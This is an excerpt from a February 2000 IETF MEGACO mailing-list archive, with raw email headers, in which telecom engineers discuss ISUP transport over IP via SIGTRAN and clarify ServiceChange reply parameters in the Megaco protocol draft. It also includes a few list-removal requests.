  --------------ABA47664F9F66F5125E54B57-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Wed Feb 2 11:36:44 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA14261 for ; Wed, 2 Feb 2000 11:36:42 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.66349F80@standards.nortelnetworks.com>; Wed, 2 Feb 2000 11:34:00 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 19111 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 2 Feb 2000 11:32:10 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.247DCEE0@standards.nortelnetworks.com>; Wed, 2 Feb 2000 11:32:10 -0500 Received: from zmers013 by smtprch1.nortel.com; Wed, 2 Feb 2000 10:33:46 -0600 Received: from zrchb213.us.nortel.com by zmers013; Wed, 2 Feb 2000 11:33:33 -0500 Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2448.0) id <1D549RJD>; Wed, 2 Feb 2000 10:33:30 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01BF6D9B.3B6CEDFA" Message-ID: Date: Wed, 2 Feb 2000 10:33:25 -0600 Reply-To: Nancy-M Greene Sender: "Media Gateway Control (megaco)" From: Nancy-M Greene Subject: Re: ISUP Messages X-To: Guylain Lavoie To: MEGACO@STANDARDS.NORTELNETWORKS.COM This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01BF6D9B.3B6CEDFA Content-Type: text/plain You should look at the sigtran work: > ---------- > From: Ong, Lyndon [SC1:470:EXCH] > Sent: Monday, January 31, 2000 11:53 AM > To: SIGTRAN@STANDARDS.NORTELNETWORKS.COM > Subject: Re: Where is Draft v 5 > > At 08:55 AM 1/31/00 -0600, Randall Stewart wrote: > >Qiaobing released this draft to the IETF Friday. I would > >anticipate it showing up within a day or so on the web > >server (ietf.org). Lyndon are you going to put it on > >the ftp site? > > Draft 5 is now on the ftp site at ftp://standards.nortelnetworks.com/sigtran/docs/adelaide00 filename: draft-ietf-sigtran-sctp-05.txt > This is the same that Qiaobing sent to the internet-drafts editor. It > should be available on the ietf server soon also. > > Cheers, > > L. Ong > > > ---------- > From: Guylain Lavoie[SMTP:glavoie@MEDIATRIX.COM] > Sent: Wednesday, February 02, 2000 10:49 AM > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > Subject: ISUP Messages > > I just read the Media Gateway Control Protocol (MGCP) Call Flows > November 18, 1998 draft , and there is something that I don't understand. > In > the flow control diagrams they show that there are ISUP interaction > beetween > the CA and the TGW, but what I don't understand is how these ISUP messages > are transported over IP to the TGW, there must be some tunnelling done > somewhere. I would appreciate if someone could explain this to me or > point > me to some other documentation? > > Thanks > > Guylain Lavoie > > Mediatrix Telecom Inc. > 4229 Garlock Street > Sherbrooke (Quebec) > Canada J1L 2C8 > Tel...: (819) 829-8749 ext 262 > Fax...: (819) 829-5100 > Web...: http://www.mediatrix.com > Email.: glavoie@mediatrix.com > ------_=_NextPart_001_01BF6D9B.3B6CEDFA Content-Type: text/html Content-Transfer-Encoding: quoted-printable RE: ISUP Messages

You should look at = the sigtran work:

----------
From:   = Ong, Lyndon [SC1:470:EXCH]
Sent:   = Monday, January 31, 2000 11:53 = AM
To: =     SIGTRAN@STANDARDS.NORTELNETWORKS.COM
Subject: =        Re: Where is Draft v 5

At 08:55 AM 1/31/00 -0600, Randall = Stewart wrote:
>Qiaobing released this draft to = the IETF Friday. I would
>anticipate it showing up within a = day or so on the web
>server (ietf.org). Lyndon are you = going to put it on
>the ftp site?

Draft 5 is now on the ftp site = at
ftp://standards.nortelnetworks.com/sigtran/docs/adelai= de00

filename:
draft-ietf-sigtran-sctp-05.txt

This is the same that Qiaobing sent to = the internet-drafts editor.  It
should be available on the ietf = server soon also.

Cheers,

L. Ong


    ----------
    From:   = Guylain = Lavoie[SMTP:glavoie@MEDIATRIX.COM]
    Sent:   = Wednesday, February 02, 2000 = 10:49 AM
    To: =     MEGACO@STANDARDS.NORTELNETWORKS.COM
    Subject: =        ISUP Messages

            I just read = the Media Gateway Control Protocol (MGCP) Call Flows
    November 18, 1998 draft , and there = is something that I don't understand. In
    the flow control diagrams they show = that there are ISUP interaction beetween
    the CA and the TGW, but what I don't = understand is how these ISUP messages
    are transported over IP to the TGW, = there must be some tunnelling done
    somewhere.  I would appreciate = if someone could explain this to me or point
    me to some other = documentation?

    Thanks

    Guylain Lavoie

    Mediatrix Telecom Inc.
    4229 Garlock Street
    Sherbrooke (Quebec)
    Canada J1L 2C8
    Tel...: (819) 829-8749 ext 262
    Fax...: (819) 829-5100
    Web...: http://www.mediatrix.com
    Email.: glavoie@mediatrix.com

------_=_NextPart_001_01BF6D9B.3B6CEDFA-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Wed Feb 2 11:59:52 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA15161 for ; Wed, 2 Feb 2000 11:59:52 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.9DA25A40@standards.nortelnetworks.com>; Wed, 2 Feb 2000 11:57:01 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 19124 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 2 Feb 2000 11:55:23 -0500 Received: from vail.vsys.com by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.FCF865E0@standards.nortelnetworks.com>; Wed, 2 Feb 2000 11:45:22 -0500 Received: from bobpc (alta.vsys.com [209.151.71.76]) by vail.vsys.com (8.9.3/8.9.3) with SMTP id JAA24331; Wed, 2 Feb 2000 09:44:12 -0700 (MST) MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_004E_01BF6D62.30A251F0" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Message-ID: Date: Wed, 2 Feb 2000 09:45:07 -0700 Reply-To: Bob Wise Sender: "Media Gateway Control (megaco)" From: Bob Wise Subject: Re: ISUP Messages X-To: Nancy-M Greene To: MEGACO@STANDARDS.NORTELNETWORKS.COM In-Reply-To: This is a multi-part message in MIME format. ------=_NextPart_000_004E_01BF6D62.30A251F0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit RE: ISUP MessagesSigtran is one approach. However, a softswitch can connect to an SS7 switch ISUP/MTP and control the TGW via MGCP without doing any ISUP tunneling over IP. The ISUP doesn't even need to come near the TGW. Alternately, sigtran can be used to transport ISUP messages over IP for the softswitch and the SS7 switch to communicate. Still, IUSP messaging doesn't have to get near the TGW. Sigtran is a great way to replace those expensive STPs, though. -Bob Wise Chief Architect Vsys -----Original Message----- From: Media Gateway Control (megaco) [mailto:MEGACO@STANDARDS.NORTELNETWORKS.COM]On Behalf Of Nancy-M Greene Sent: Wednesday, February 02, 2000 9:33 AM To: MEGACO@STANDARDS.NORTELNETWORKS.COM Subject: Re: ISUP Messages You should look at the sigtran work: ---------- From: Ong, Lyndon [SC1:470:EXCH] Sent: Monday, January 31, 2000 11:53 AM To: SIGTRAN@STANDARDS.NORTELNETWORKS.COM Subject: Re: Where is Draft v 5 At 08:55 AM 1/31/00 -0600, Randall Stewart wrote: >Qiaobing released this draft to the IETF Friday. I would >anticipate it showing up within a day or so on the web >server (ietf.org). Lyndon are you going to put it on >the ftp site? Draft 5 is now on the ftp site at ftp://standards.nortelnetworks.com/sigtran/docs/adelaide00 filename: draft-ietf-sigtran-sctp-05.txt This is the same that Qiaobing sent to the internet-drafts editor. It should be available on the ietf server soon also. Cheers, L. Ong ---------- From: Guylain Lavoie[SMTP:glavoie@MEDIATRIX.COM] Sent: Wednesday, February 02, 2000 10:49 AM To: MEGACO@STANDARDS.NORTELNETWORKS.COM Subject: ISUP Messages I just read the Media Gateway Control Protocol (MGCP) Call Flows November 18, 1998 draft , and there is something that I don't understand. In the flow control diagrams they show that there are ISUP interaction beetween the CA and the TGW, but what I don't understand is how these ISUP messages are transported over IP to the TGW, there must be some tunnelling done somewhere. I would appreciate if someone could explain this to me or point me to some other documentation? Thanks Guylain Lavoie Mediatrix Telecom Inc. 4229 Garlock Street Sherbrooke (Quebec) Canada J1L 2C8 Tel...: (819) 829-8749 ext 262 Fax...: (819) 829-5100 Web...: http://www.mediatrix.com Email.: glavoie@mediatrix.com ------=_NextPart_000_004E_01BF6D62.30A251F0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: ISUP Messages
Sigtran is one approach. However, a=20 softswitch can connect to an SS7 = switch
ISUP/MTP and control the = TGW = via MGCP without=20 doing any ISUP tunneling
over=20 IP.  The ISUP doesn't even need to come near the TGW. =20 Alternately,
sigtran can be used to transport ISUP = messages over IP=20 for the softswitch
and=20 the SS7 switch to communicate. Still, IUSP messaging doesn't=20 have
to get=20 near the TGW. Sigtran is a great way to replace those = expensive=20 STPs, though.
 
-Bob=20 Wise
Chief=20 Architect
Vsys
-----Original Message-----
From: Media Gateway = Control=20 (megaco) [mailto:MEGACO@STANDARDS.NORTELNETWORKS.COM]On Behalf Of=20 Nancy-M Greene
Sent: Wednesday, February 02, 2000 9:33=20 AM
To: = MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Re:=20 ISUP Messages

You should look at the = sigtran=20 work:

---------- =
From:   Ong, Lyndon [SC1:470:EXCH]
Sent:   Monday,=20 January 31, 2000 11:53 AM
To:     SIGTRAN@STANDARDS.NORTELNETWORKS.COM
Subject:=20        Re:=20 Where is Draft v 5

At 08:55 AM 1/31/00 -0600, Randall = Stewart=20 wrote:
>Qiaobing released = this draft to=20 the IETF Friday. I would
>anticipate it=20 showing up within a day or so on the web
>server (ietf.org). Lyndon are you going to put it = on=20
>the ftp site?

Draft 5 is now on the ftp site = at
ftp://standards.nortelnetworks.com/sigtran/docs/adelaide0= 0=20

filename: =
draft-ietf-sigtran-sctp-05.txt

This is the same that Qiaobing sent to = the=20 internet-drafts editor.  It
should be=20 available on the ietf server soon also.

Cheers,

L. Ong


    ---------- =
    From:   Guylain=20 Lavoie[SMTP:glavoie@MEDIATRIX.COM]
    Sent:   Wednesday,=20 February 02, 2000 10:49 AM
    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
    Subject:=20        ISUP=20 Messages

            I just=20 read the Media Gateway Control Protocol (MGCP) Call Flows =
    November 18, 1998 draft , and there is = something that I=20 don't understand. In
    the flow = control=20 diagrams they show that there are ISUP interaction beetween =
    the CA and the TGW, but what I don't = understand is how=20 these ISUP messages
    are = transported over=20 IP to the TGW, there must be some tunnelling done
    somewhere.  I would appreciate if someone = could=20 explain this to me or point
    me to some=20 other documentation?

    Thanks

    Guylain Lavoie

    Mediatrix Telecom Inc. =
    4229 Garlock Street
    Sherbrooke (Quebec)
    Canada J1L=20 2C8
    Tel...: (819) 829-8749 = ext 262=20
    Fax...: (819) 829-5100 =
    Web...: http://www.mediatrix.com
    Email.: glavoie@mediatrix.com =

------=_NextPart_000_004E_01BF6D62.30A251F0-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Wed Feb 2 12:04:05 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA15352 for ; Wed, 2 Feb 2000 12:04:04 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.2E616800@standards.nortelnetworks.com>; Wed, 2 Feb 2000 12:01:04 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 19161 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 2 Feb 2000 11:59:46 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.FFE14310@standards.nortelnetworks.com>; Wed, 2 Feb 2000 11:59:46 -0500 Received: from zmers013 by smtprch1.nortel.com; Wed, 2 Feb 2000 11:01:05 -0600 Received: from zrchb213.us.nortel.com by zmers013; Wed, 2 Feb 2000 12:00:37 -0500 Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2448.0) id <1F2TJRVB>; Wed, 2 Feb 2000 11:00:33 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01BF6D9F.02F9FDCE" Message-ID: Date: Wed, 2 Feb 2000 11:00:32 -0600 Reply-To: Tom-PT Taylor Sender: "Media Gateway Control (megaco)" From: Tom-PT Taylor Subject: Re: ServiceChange X-To: Chuong Nguyen To: MEGACO@STANDARDS.NORTELNETWORKS.COM This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01BF6D9F.02F9FDCE Content-Type: text/plain; charset="iso-8859-1" Responses below. > -----Original Message----- > From: Chuong Nguyen [SMTP:Chuong.Nguyen@USA.ALCATEL.COM] > Sent: Wednesday, February 02, 2000 10:48 AM > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > Subject: ServiceChange > > Hi > > Section 7.2.8 ServiceChange > > "The return from ServiceChange has the same parameters as the input except > that > ServiceChange Method and ServiceChangeReason are optional. If provided > they shall > be the same as those specificied in the command." > > Does this statement apply to a ServiceChange Reply? > If yes: > 1) If the command contains a ServiceChangeDelay, does the reply also > contains a ServiceChangeDelay? > If yes, ABNF does not allow it? > serviceChgReplyParam = (serviceChangeAddress / > serviceChangeMgcId / > > serviceChangeProfile / serviceChangeVersion) > I think the ABNF is correct and the intend is correct except for the > wording: > "The return from ServiceChange has the same parameters as the input > ..." > 2) It looks like the paragraph with > "Summarizing use of properties in the ServiceChange Descriptor" needs > to be clarified > with something like "Summarizing use of properties in the > ServiceChange Descriptor > for a ServiceChange Request". > Then another paragraph for "Summarizing use of properties in the > ServiceChange Descriptor > for a ServiceChange Reply." [[TomT]] Yes, the whole section got added at my suggestion, but some shortcuts were taken. I'll figure out what we should add/change in the "error" category vs. the "clarification" category. > > > The ABNF shows that ServiceChange Descriptor and ServiceChangeMethod can > have > extension. Section 7.1.13 and 7.2.8 do not mention this. > Do these 2 extensions go hand in hand? That is, can one have just a > ServiceChangeMethod > extension but not a ServiceChange Descriptor extension? [[TomT]] I expect so. The intent is to provide a means to convey vendor-specific data on startup. I suppose some text should be added in the "clarification" category. > > > "The optional Profile parameter specifies the Profile (if any) of the > protocol supported. The > Profile includes the version of the profile supported." > > Is the Profile version just the version of the Profile regardless of > Megaco protocol version? > Said the MG IP phone example given by Abdallah, IpPhone/1 and IpPhone/2. > Are these 2 version # intended to imply IpPhone/1 supports Megaco v1 and > IpPhone/2 > supports Megaco v2? Or the version # is a release of different IpPhone > version w/o > regard to Megaco protocol version? > If version # has no relationship to Megaco protocol version #, can "of the > protocol supported" be > removed? > If yes, I hope no one needs to have several release of IpPhone Profile > that supports Megaco > protocol v1 because the ABNF "version" syntax does not support it. [[TomT]] Other notes today have made it clear: profile version is independent of protocol version. > Section 9 Transport > "The MG specifies the address (e.g. TCP/UDP port number) it wished the MGC > to use for > communication. The MGC replies ..." > Some clarification wording might need to added to specify that > ServiceChangeAddress only > applies to UDP. For TCP, ServiceChangeAddress is ignored or not even > supposed to be in > the ServiceChange Descriptor. Is this what the consensus is from prior > discussion on the List? [[TomT]] Actually, the resolution of this item is in message RE: [Fwd: FW: Application for port-number], sent by Brian Rosen, 19/01/00 8:15 AM. The MGC replies to the address from which the MG sent the ServiceChange message, and continues to use that address (and port) for other messages of the association. Conclusion is that the MG does NOT use the address parameter at all. This requires fixes in the "error" category. > > > Chuong > -- > Alcatel USA, Inc Internet: Chuong.Nguyen@usa.alcatel.com > 1000 Coit Road Plano, Texas 75075 Phone: (972) 519-4613 > **** The opinions expressed are not those of Alcatel USA, Inc **** > ------_=_NextPart_001_01BF6D9F.02F9FDCE Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: ServiceChange

Responses = below.

    -----Original Message-----
    From:   Chuong Nguyen = [SMTP:Chuong.Nguyen@USA.ALCATEL.COM]
    Sent:   Wednesday, February 02, 2000 10:48 AM
    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
    Subject:       = ServiceChange

    Hi

    Section 7.2.8 ServiceChange

    "The return from ServiceChange = has the same parameters as the input except that
    ServiceChange Method and ServiceChangeReason are optional.=A0 If = provided they shall
    be the same as those specificied in the command."

    Does this statement apply to a = ServiceChange Reply?
    If yes:
    1) If the command contains a ServiceChangeDelay, does the reply also = contains a ServiceChangeDelay?
    =A0=A0=A0=A0 If yes, ABNF does not allow it?
    =A0=A0=A0=A0=A0=A0=A0=A0=A0 serviceChgReplyParam =3D = (serviceChangeAddress / serviceChangeMgcId /
    =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0= =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0= =A0=A0=A0=A0=A0=A0=A0 serviceChangeProfile / serviceChangeVersion)
    =A0=A0=A0=A0 I=A0think the ABNF is correct and the intend is correct = except for the wording:
    =A0=A0=A0=A0 "The return from ServiceChange has the same = parameters as the input ..."
    2) It looks like the paragraph with
    =A0=A0=A0=A0 "Summarizing use of properties in the ServiceChange = Descriptor" needs to be clarified
    =A0=A0=A0=A0 with something like "Summarizing use of properties in = the ServiceChange Descriptor
    =A0=A0=A0=A0=A0 for a ServiceChange Request".
    =A0=A0=A0=A0 Then another paragraph for "Summarizing use of = properties in the ServiceChange Descriptor
    =A0=A0=A0=A0=A0 for a ServiceChange Reply."
    [[TomT]] 
    Yes, the whole = section got added at my suggestion, but some shortcuts were = taken.  I'll figure out what we should add/change in the = "error" category vs. the "clarification" = category.
    =A0

    The ABNF=A0shows that ServiceChange = Descriptor and ServiceChangeMethod can have
    extension.=A0 Section 7.1.13 and 7.2.8 do not mention this.
    Do these 2 extensions go hand in hand?=A0 That is, can one have just a = ServiceChangeMethod
    extension but not a ServiceChange Descriptor extension?
    [[TomT]] 
    I expect so.  = The intent is to provide a means to convey vendor-specific data on = startup.  I suppose some text should be added in the = "clarification" category.
    =A0

    "The optional Profile parameter = specifies the Profile (if any) of the protocol supported.=A0 The
    Profile includes the version of the profile supported."
    =A0
    Is the Profile version just the version of the Profile regardless of = Megaco protocol version?
    Said the MG IP phone example given by Abdallah, IpPhone/1 and = IpPhone/2.
    Are these 2 version # intended to imply IpPhone/1 supports Megaco v1 = and IpPhone/2
    supports Megaco v2?=A0 Or the version # is a release of different = IpPhone version w/o
    regard to Megaco protocol version?
    If version # has no relationship to Megaco protocol version #, can = "of the protocol supported" be
    removed?
    If yes, I hope no one needs to have several release of IpPhone Profile = that supports Megaco
    protocol v1 because the ABNF "version" syntax does not = support it.
    [[TomT]] 
    Other notes today = have made it clear: profile version is independent of protocol = version.

    Section 9 Transport
    "The MG specifies the address (e.g. TCP/UDP port number) it wished = the MGC to use for
    communication.=A0 The MGC replies ..."
    Some clarification wording might need to added to specify that = ServiceChangeAddress only
    applies to UDP.=A0 For TCP, ServiceChangeAddress is ignored or not even = supposed to be in
    the ServiceChange Descriptor.=A0 Is this what the consensus is from = prior discussion on the List?
    [[TomT]] 
    Actually, the = resolution of this item is in message RE: [Fwd: FW: Application for = port-number], sent by Brian Rosen, 19/01/00 8:15 AM.  The MGC = replies to the address from which the MG sent the ServiceChange = message, and continues to use that address (and port) for other = messages of the association.  Conclusion is that the MG does NOT = use the address parameter at all.  This requires fixes in the = "error" category.
    =A0

    Chuong
    --=A0
    =A0 Alcatel USA, Inc=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 Internet: = Chuong.Nguyen@usa.alcatel.com
    =A0 1000 Coit Road Plano, Texas 75075=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 = Phone:=A0=A0=A0 (972) 519-4613
    =A0 **** The opinions expressed are not those of Alcatel USA, Inc = ****
    =A0

------_=_NextPart_001_01BF6D9F.02F9FDCE-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Wed Feb 2 12:09:41 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA15490 for ; Wed, 2 Feb 2000 12:09:40 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.05F8E770@standards.nortelnetworks.com>; Wed, 2 Feb 2000 12:07:06 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 19140 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 2 Feb 2000 12:06:03 -0500 Received: from prserv.net (32.97.166.35) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.7A1F78A0@standards.nortelnetworks.com>; Wed, 2 Feb 2000 11:56:02 -0500 Received: from ibm.net ([32.101.179.184]) by prserv.net (out5) with SMTP id <20000202165801243013a4vqe>; Wed, 2 Feb 2000 16:58:02 +0000 X-Mailer: Mozilla 4.6 [en] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 References: Content-Type: multipart/mixed; boundary="------------7DB3E5DA5FAA28ED96AD0465" Message-ID: <3898630B.AC2BF14@ibm.net> Date: Wed, 2 Feb 2000 09:02:03 -0800 Reply-To: robineh@attglobal.net Sender: "Media Gateway Control (megaco)" From: "Robin E. haberman" Subject: REMOVE To: MEGACO@STANDARDS.NORTELNETWORKS.COM This is a multi-part message in MIME format. --------------7DB3E5DA5FAA28ED96AD0465 Content-Type: multipart/alternative; boundary="------------F681908DAEB1DDC3ADE71682" --------------F681908DAEB1DDC3ADE71682 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit one more time! Tom-PT Taylor wrote: > > > The list has a robineh@ibm.net. Is that you? > > -----Original Message----- > From: Robin E. haberman [SMTP:robineh@ATTGLOBAL.NET] > Sent: Wednesday, February 02, 2000 12:11 AM > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > Subject: REMOVE > > > Michael Thomas wrote: > > > Rosen, Brian writes: > > > Generally, I dislike having two ways to do something. > > > > So, > > > > x = x + 1; > > > > x += 1; > > > > x++; > > > > ++x; > > > > drives you crazy? I guess I just don't sweat syntactic > > diversity so long as it compiles down to the same/similar > > semantics. > > > > Mike << File: Card for Robin E. haberman >> > --------------F681908DAEB1DDC3ADE71682 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit one more time!

Tom-PT Taylor wrote:

 

The list has a robineh@ibm.net.  Is that you?

    -----Original Message-----
    From:   Robin E. haberman [SMTP:robineh@ATTGLOBAL.NET]
    Sent:   Wednesday, February 02, 2000 12:11 AM
    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
    Subject:        REMOVE
     

    Michael Thomas wrote:

    > Rosen, Brian writes:
    >  > Generally, I dislike having two ways to do something.
    >
    >   So,
    >
    >   x = x + 1;
    >
    >   x += 1;
    >
    >   x++;
    >
    >   ++x;
    >
    >   drives you crazy? I guess I just don't sweat syntactic
    >   diversity so long as it compiles down to the same/similar
    >   semantics.
    >
    >                 Mike << File: Card for Robin E. haberman >>

--------------F681908DAEB1DDC3ADE71682-- --------------7DB3E5DA5FAA28ED96AD0465 Content-Type: text/x-vcard; charset=us-ascii; name="robineh.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Robin E. haberman Content-Disposition: attachment; filename="robineh.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Haberman;Robin E. x-mozilla-html:FALSE adr:;;;;;; version:2.1 email;internet:robineh@attglobal.net x-mozilla-cpt:;-12960 fn:Robin E. Haberman end:vcard --------------7DB3E5DA5FAA28ED96AD0465-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Wed Feb 2 12:15:53 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA15676 for ; Wed, 2 Feb 2000 12:15:51 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.DD716D30@standards.nortelnetworks.com>; Wed, 2 Feb 2000 12:13:07 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 19171 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 2 Feb 2000 12:11:15 -0500 Received: from prserv.net (32.97.166.35) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.350C8F40@standards.nortelnetworks.com>; Wed, 2 Feb 2000 12:01:15 -0500 Received: from ibm.net ([32.101.179.184]) by prserv.net (out5) with SMTP id <20000202170320243018r2d0e>; Wed, 2 Feb 2000 17:03:21 +0000 X-Mailer: Mozilla 4.6 [en] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------C4A606664A753906398A2DA9" Message-ID: <3898644A.971BDD3A@ibm.net> Date: Wed, 2 Feb 2000 09:07:22 -0800 Reply-To: robineh@ibm.net Sender: "Media Gateway Control (megaco)" From: "Robin E. haberman" Subject: remove To: MEGACO@STANDARDS.NORTELNETWORKS.COM This is a multi-part message in MIME format. --------------C4A606664A753906398A2DA9 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit --------------C4A606664A753906398A2DA9 Content-Type: text/x-vcard; charset=us-ascii; name="robineh.vcf" Content-Description: Card for Robin E. haberman Content-Disposition: attachment; filename="robineh.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Haberman;Robin E. x-mozilla-html:FALSE adr:;;;;;; version:2.1 email;internet:robineh@attglobal.net x-mozilla-cpt:;-12960 fn:Robin E. Haberman end:vcard --------------C4A606664A753906398A2DA9-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Wed Feb 2 12:20:54 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA15775 for ; Wed, 2 Feb 2000 12:20:52 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.91291DF0@standards.nortelnetworks.com>; Wed, 2 Feb 2000 12:18:09 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 19212 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 2 Feb 2000 12:17:48 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.844A2250@standards.nortelnetworks.com>; Wed, 2 Feb 2000 12:17:47 -0500 Received: from zmers013 by smtprch1.nortel.com; Wed, 2 Feb 2000 11:19:34 -0600 Received: from zcard00m.ca.nortel.com by zmers013; Wed, 2 Feb 2000 12:19:25 -0500 Received: from zcard00f.ca.nortel.com ([47.129.30.8]) by zcard00m.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id 1DZGDRGW; Wed, 2 Feb 2000 12:19:22 -0500 Received: from americasm01.nt.com (wcars052.ca.nortel.com [47.128.210.104]) by zcard00f.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id DMXA2896; Wed, 2 Feb 2000 12:19:24 -0500 X-Mailer: Mozilla 4.6 [en] (X11; I; SunOS 5.6 sun4u) X-Accept-Language: en MIME-Version: 1.0 References: <389851C0.5234608E@usa.alcatel.com> Content-Type: multipart/alternative; boundary="------------417FC638ED6E84EB7D0139B9" Message-ID: <38986785.4D61EE9F@americasm01.nt.com> Date: Wed, 2 Feb 2000 12:21:09 -0500 Reply-To: Abdallah Rayhan Sender: "Media Gateway Control (megaco)" From: Abdallah Rayhan Organization: Nortel Networks Subject: Re: ServiceChange X-To: Chuong Nguyen X-cc: Tom-PT Taylor To: MEGACO@STANDARDS.NORTELNETWORKS.COM --------------417FC638ED6E84EB7D0139B9 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit See comments below. Abdallah Chuong Nguyen wrote: > Hi > > Section 7.2.8 ServiceChange > > "The return from ServiceChange has the same parameters as the input > except that > ServiceChange Method and ServiceChangeReason are optional. If > provided they shall > be the same as those specificied in the command." This does not seem correct. It should read like this: "The values of ServiceChangeReply parameters are the same as the values of ServiceChange parameters if parameters processed successfully, e.g., sevicechange has new profile, the reply would have the profile parameter with the same values. Otherwise, errorDescriptor is used within the serviceChangeReply to convey the unsuccessful processing of the parameter, e.g., profile not supported. All the parameters in serviceChangeReply are optional. If serviceChangeReply has no parameters, it means all the parameters have been processed successfully." Also, errorDescriptor should be part of the servChangeReplyParm in addition to serviceChangeMethod, serviceChangeReason, 